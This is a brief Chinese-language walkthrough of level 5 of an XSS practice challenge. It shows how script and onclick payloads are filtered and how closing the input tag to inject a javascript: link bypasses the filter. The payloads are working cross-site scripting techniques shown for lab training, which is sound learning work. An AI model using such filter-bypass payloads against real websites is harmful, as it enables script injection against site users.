5.xss之旅—Level5

XSS过程：

输入框：<script>alert(/qwsn/)</script>
//查看源码，发现：脚本被写作input标签的value属性内，script被过滤
<input name=keyword  value="<scr_ipt>alert(/qwsn/)</script>">


构造paylod：
"> onclick=alert(/qwsn/)
//查看源码，发现：onclick也被过滤了
<input name=keyword  value="" o_nclick=alert(/qwsn/)//">


构造payload：闭合value属性和input标签，使用a标签
"> <a href=javascript:alert(/qwsn/)>click here</a>
//注意，点击click here即可，完成